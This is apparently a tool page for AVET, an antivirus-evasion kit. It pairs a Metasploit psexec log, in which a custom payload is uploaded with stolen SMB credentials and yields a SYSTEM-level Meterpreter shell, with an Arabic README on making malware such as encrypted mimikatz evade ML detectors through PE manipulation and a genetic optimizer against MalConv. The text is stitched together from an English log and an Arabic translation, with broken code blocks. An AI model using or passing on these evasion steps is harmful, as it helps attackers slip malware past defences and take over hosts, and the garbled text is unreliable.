msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows

أمثلة الخصومة

أمثلة الخصومة هي مدخلات مصممة خصيصًا بهدف دفع نماذج التعلم الآلي إلى سوء التصنيف.

لاستخدام هذه الطريقة، يُرجى إنشاء بيئة افتراضية وتثبيت التبعيات المطلوبة من requirements.txt.

التلاعبات العملية

هناك خمسة تلاعبات تحافظ على الوظائف لملفات PE متاحة:

Practical Manipulations

لتطبيق التلاعب العملي على البرنامج الضار مع إدخال وحدات بايت عشوائية، استخدم الأمر gen_adversarial_exe متبوعًا باسم التلاعب العملي ومسار الملف كمعلمات. التلاعبات المتاحة هي full_dos و extend و shift و padding و section_injection.

على سبيل المثال:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe

root@kitploit:~
### التحسين الجيني
بدلاً من حقن محتوى عشوائي، يمكن تحسين المحتوى لتحقيق احتمالية أعلى للتهرب.
يقوم المحسّن باستخراج الأقسام غير الضارة من البرامج الجيدة ويستخدم خوارزمية جينية لتحسين المحتوى المحقون.
يتم تحسين المحتوى ضد MalConv، وهو كاشف ثابت يعتمد على التعلم الآلي مبني على شبكة عصبية التفافية.
تطبيق MalConv المستخدم مأخوذ من مكتبة [SecML Malware](https://github.com/pralab/secml_malware).

البرامج الجيدة مطلوبة ويجب وضعها في مجلد `input/goodware_samples`.
على سبيل المثال، [DikeDataset](https://github.com/iosifache/DikeDataset) هو مصدر جيد للحصول على ملفات تنفيذية غير ضارة. كلما زاد العدد كان أفضل، لكن 100 كافية لأغراض الاختبار.

لاستخدام المحسّن، استخدم الأمر `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe

الخيارات الممكنة:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection

root@kitploit:~
يمكن قراءة المزيد عن الأمثلة العدائية، والتحسين الجيني، وMalConv هنا:
- [أمثلة عدائية EXEmples: مسح وتقييم تجريبي للهجمات العملية على التعلم الآلي لكشف برمجيات Windows الخبيثة](https://arxiv.org/abs/2008.07125)
- [تحسين الصندوق الأسود مع الحفاظ على الوظائف لبرمجيات Windows الخبيثة العدائية](https://arxiv.org/abs/2003.13526)
- [كشف البرمجيات الخبيثة بأكل ملف EXE كامل](https://arxiv.org/abs/1710.09435)

## المزيد
---

للأساسيات حول تجاوز مضادات الفيروسات، AVET والمزيد من المعلومات، ألق نظرة هنا (معظمها للإصدار 1.3): 
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)